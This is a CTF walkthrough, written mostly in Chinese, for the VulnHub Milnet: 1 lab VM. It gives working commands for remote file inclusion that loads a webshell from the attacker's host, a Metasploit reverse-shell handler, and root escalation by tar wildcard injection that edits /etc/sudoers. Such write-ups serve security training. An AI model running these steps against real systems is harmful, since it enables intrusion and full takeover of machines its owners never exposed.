Milnet: 1
Reference
- https://www.vulnhub.com/entry/milnet-1,148/
- http://www.hackingarticles.in/hack-milnet-vm-ctf-challenge/
- https://yaserfaraj.github.io/ctf/Milnet-walkthrough
Writeup
- Recon:
nikto -h 10.0.2.148
,找到/info.php- /info.php資訊洩漏了:
allow_url_fopen On allow_url_include On
- 因此在/content.php送出的參數route有LFI漏洞
- /info.php資訊洩漏了:
- 先listen port
use exploit/multi/handler set payload php/meterpreter/reverse_tcp set lhost 10.0.2.133 set lport 1234 exploit
- 讓route參數直接讀取webshell:
route=http://10.0.2.128/msfvenom_shell?
- 其中在url最後面的
?
代表將參數當作url query string,也可視為截斷字元,通常都用在LFI漏洞上,有點像00%
- 其中在url最後面的
- spawn a tty:
shell python3.5 -c 'import pty; pty.spawn("/bin/sh")' /bin/bash
/home/langman/SDINET/DefenseCode_Unix_WildCards_Gone_Wild.txt
:說明如何利用被濫用的萬用字元,執行chown, chmod, tar或rsync來得到command execution。- 查看/etc/crontab
# /etc/crontab: system-wide crontab # Unlike any other crontab you don't have to run the `crontab' # command to install the new version when you edit this file # and files in /etc/cron.d. These files also have username fields, # that none of the other crontabs do. SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin # m h dom mon dow user command */1 * * * * root /backup/backup.sh 17 * * * * root cd / && run-parts --report /etc/cron.hourly 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) 47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly ) 52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly ) #
- 接著查看/backup/backup.sh
#!/bin/bash cd /var/www/html tar cf /backup/backup.tgz *
- 從
backup.sh
得知,tar
是在/var/www/html/下執行備份 - 接下來在同個目錄下產生三個檔案:
--checkpoint=1
--checkpoint-action=exec=sh shell.sh
shell.sh
- 其中shell.sh內容為:
echo "www-data ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
- 其中shell.sh內容為:
- 從
- 當backup.sh自動執行tar後,因為unix wildcards關係,也會執行
--checkpoint-action=
的指令,因此將會執行shell.sh。由於backup.sh是由root權限自動執行的,因此它執行的程式也會以root身份執行,像是shell.sh裡面的指令,會將www-data加到/etc/sudoers裡sudo su
切換至root,取得root,取得flag